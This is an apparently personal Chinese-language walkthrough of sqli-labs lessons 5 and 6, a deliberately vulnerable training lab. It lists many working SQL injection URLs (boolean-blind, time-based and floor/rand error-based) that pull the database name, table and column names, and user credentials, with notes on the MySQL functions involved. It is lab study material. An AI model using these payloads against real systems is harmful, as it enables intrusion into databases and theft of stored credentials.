Less-5 ===>盲注
GET-双注入-单引号-字符串
http://192.168.33.1/sqli/Less-5/?id=1' and left(version(),1)=5 -- #
http://192.168.33.1/sqli/Less-5/?id=1' and length(database())=8 -- #
http://192.168.33.1/sqli/Less-5/?id=1' and left(database(),1)>'a' -- #
http://192.168.33.1/sqli/Less-5/?id=1' and left(database(),2)>'sa' -- #
http://192.168.33.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>80-- #
http://192.168.33.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108-- #
http://192.168.33.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113-- #
http://192.168.33.1/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usern[a-z]' limit 0,1)-- #
http://192.168.33.1/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)-- #
http://192.168.33.1/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)-- #
http://192.168.33.1/sqli/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- #
http://192.168.33.1/sqli/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=117-- #
注:这里简单介绍下mysql函数:
IFNULL() 函数
语法:IFNULL(expression, alt_value)
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。所以上面的语句就是 CAST(username AS CHAR) 的值不为null,就输出,为null就输出0x20,而0x20又是空格。
cast() 函数-----类型转换
语法:
CAST
(value
as
type);
获取一个类型的值,并产生另一个类型的值。上面的语句就是获取username类型的值并转换为char类型
更多具体使用方法自行百度学习。
========================== 我是分割线 ==============================
需要掌握的前提知识:
0x3a对应ASCII码为 : (冒号) 0x7e对应ASCII码为 ~
mysql函数:
floor() 向下取整 floor函数返回小于等于该值的最大整数.
rand() rand(N) rand函数调用可以在0和1之间产生一个随机数
返回在范围0到1.0内的随机浮点值。
如果一个整数参数N被指定,它被用作种子值。---------对于这个还是不太了解,百度了一下,没有找到能很好解释的。
每个种子产生的随机数序列是不同的
http://192.168.33.1/sqli/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a-- #
http://192.168.33.1/sqli/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #
http://192.168.33.1/sqli/Less-5/?id=1' union select (exp(~(select * FROM (SELECT USER())a))),2,3-- #
http://192.168.33.1/sqli/Less-5/?id=1' union select (!(select * from (select user())x)-~0),2,3-- #
http://192.168.33.1/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))-- #
http://192.168.33.1/sqli/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x-- #
115--->ASCII码:s
BENCHMARK()函数
- BENCHMARK(count,expr)
- BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果
encode()函数
ENCODE(str, pass_str):该函数使用pass_str作为密码来加密字符串str,其加密的结果可以通过DECODE()函数来解密。该函数返回的结果是一个同str等长。DECODE(crypt_str, pass_str):该函数使用pass_str作为密码来解密使用ENCODE()加密后的字符串crypt_str。
http://192.168.33.1/sqli/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #
http://192.168.33.1/sqli/Less-5/?id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1-- #
Less-6 ===>盲注
GET- 双注入-双引号-字符串
这里演示其中的一个(猜数据库的长度为8,返回正确结果,说明数据库长度为8):
双查询注入
参考文章:https://blog.csdn.net/Leep0rt/article/details/78556440#commentBox
https://www.jianshu.com/p/8a38d2371b9c
原理:
双注入查询需要理解四个函数/语句
1. rand() //随机函数
2. floor() //取整函数
3. count() //汇总函数 :返回匹配指定条件的行数。
4. group by clause //分组语句 :常用于结合合计函数,根据一个或多个列对结果集进行分组。
如有这样一个表:
select customer,sum(price) from orders group by customer
customer price alice 2300 charlie 4000 alice 700 bob 1600 bob 400
得到的结果就是:
customer price alice 3000 charlie 4000 bob 2000 如果没加
group by
,结果就有了重复项:
customer price alice 3000 charlie 4000 alice 3000 bob 2000 bob 2000
as也可以省略,不影响结果
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
翻译:错误1062(23000):密钥“ group_key”的条目“ security1”重复
而上面Less-5的报错注入语句,我们也就理解了为什么要这么写了:
select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.tables group by a;
select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
ERROR 1062 (23000): Duplicate entry '~root@localhost~0' for key 'group_key'
来报错。
这里还要说一下的是在mysql数据库中查找这样的语句返回的结果略微的不一样,返回的结果有这两种,且都是随机的,不是报错的结果就是不报错的结果,至于为什么这样,与 floor()和rand()有很大的关系
可以参考这两篇文章来进行理解:(当然也可以跳过,下面还会讲到,在下面你就会对这个有清晰的认识了)
https://bbs.ichunqiu.com/thread-53023-1-1.html
https://www.cnblogs.com/xdans/p/5412468.html#
http://192.168.33.1/sqli/Less-5/?id=1
http://192.168.33.1/sqli/Less-5/?id=1'
http://192.168.33.1/sqli/Less-5/?id=1"
http://192.168.33.1/sqli/Less-5/?id=1' order by 3-- #
http://192.168.33.1/sqli/Less-5/?id=1' order by 4-- #
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,2,3-- #
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,count(*),concat((select database()),0x7e,floor(rand()*2)) as a from information_schema.tables group by a--+
注意使用concat_ws和concat由于存在随机性的的问题,结果可能会报错也可能不报错,如果没报错要多试几次,要特别注意不要没报错就多次点击HackBack的按钮进行尝试,结果没任何变化,要这样改改代码,比如把0x7e改成0x3a啊这种然后在点击按钮提交,如果报错了就能查看到数据库,如果没有改回原来的0x7e或者继续改其他的,随机性嘛,总归几次就出来了。
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a-- #
MYSQL的group_concat函数
函数作用
用到group by时, 能将相同的行组合起来。
函数语法
group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator '分隔符'] )
例子
比如我们有一个商品规格表,我想在后台看到不同种类的商品都有哪些规格,id代表商品种类,spec代表商品规格
商品规格表 id | spec 1 | 黄色 1 | 绿色 3 | 100g 3 | 60g 4 | 38m
那么我们就可以这么写
以id分组,把spec字段的值打印在一行,按照spec倒序排列select id,group_concat(spec order by spec DESC) from 规格表 group by id; |1 | 黄色,绿色| |3 | 60g,100g| |4 | 38m|
默认是以逗号分隔,我们也可以改成分号
select id,group_concat(spec separator ';') from 规格表 group by id; |1 | 黄色;绿色| |3 | 60g;100g| |4 | 38m|
一般简单写法:select id,group_concat(spec ) from 规格表 group by id;
补充:
还可以用distinct去掉重复的数值,也可以多个字段拼接
group_concat()
函数将查到的表名连接并返回报错,得出表名:usershttp://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+
PS:在这里利用
group_concat()
函数报错来得出数据库,在这一步我相信有很大一部分的结果和我一样是不报错的,数据返回正常,上图我是截取别人的图,而且经过测试,只要利用到group_concat()
函数都不会报错了,这不仅仅是随机性的问题了,我们来看一下我的图:至于原理可以看上面给的两篇链接文章,要是觉得内容多,就简单的说下,不一定对,在上面我们可以看到报错型注入是有一定的随机性的那么我们可以多尝试几次就可以使其报错,当涉及到group_concat()函数时,还得满足另外的一个条件,我们看下其他战友的解释:
这一个咋一看感觉蛮对的,但在另一篇文章中提到:(这里截部分图)
这一对比,发现上面的战友说的不够严谨,看到这里是不是感觉脑袋很乱,为此我又查了多方资料发现:这条关键句:
报错需要
count(*)
,rand()
、group by
,三者缺一不可。 然后我测试一下修改语句,撤掉group_concat()函数,成功报错,博客地址来源:https://www.cnblogs.com/xishaonian/p/6227405.html 一会后面再讲解,到这我先把另一位博主利用group_concat()函数做出来的截图截图截出来,作为参考,当我个人不建议使用,看看就好。
http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+
group_concat()
,可以修改limit
的范围来遍历用户信息。http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a--+
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a -- #
count(*)
,rand()
、group by
写的语句很精炼,实际上就是重大发现:
机缘巧合下想在Less-1试试group_concat()函数,发现竟然成功了:
然后在数据库查询:
初步猜测与count(*)有关系,去掉count(*):
发现,并不是count(*)的关系,于是想到Less-1与Less的区别在于Less-5不显示数据库的用户名和密码信息,而我们通过order by 3知道有3个字段(列),其中第2个和第3个可以进行注入,再有上面的图进行对比,那么我们是否可以得出这样的结论,group_count()函数是需要一个字段来显示信息的,至于细节,还是不太懂。(而且与rand(0)*2所谓的3条记录无任何影响,上面的语句利用rand(0)*2结果是一样的,也就是说,只要有一个字段可以在页面显现,利用group_concat就能把结果显示出来)
而且我们发现这查询语句似乎不是报错,而是正常查出来的结果,可我们利用的是floor()函数报错啊?于是利用:Sqli-labs之Less-5的补充这篇博客里用到的方法:
发现这种写法才是利用floor()函数报错来爆出我们想要的数据,而我们利用group_concat()函数与floor()函数的结合更像是正常的查询字段信息,可问题是别人却成功了,真是无解啊〒△〒 这里只为做记录,希望以后的自己能够解决该问题,也留给大家作为参考。
===========================分割线又又来啦===================
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #
http://192.168.33.1/sqli/Less-5/?id=-1' union (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 3,1))
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- #
(PS:使用 DISTINCT 可以排除重复值。-------在该环境下,用不用并不影响结果。)
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #
http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #
呼,报错注入总于告一段落了,很多人把上面的报错注入叫做floor报错注入,而这还只是报错注入函数的其中一种,盲注,竟恐怖如斯,看来是时候把 学习mysql 早早提上日程了,太难了。。。。
PS:Less-6同理,自己去尝试吧。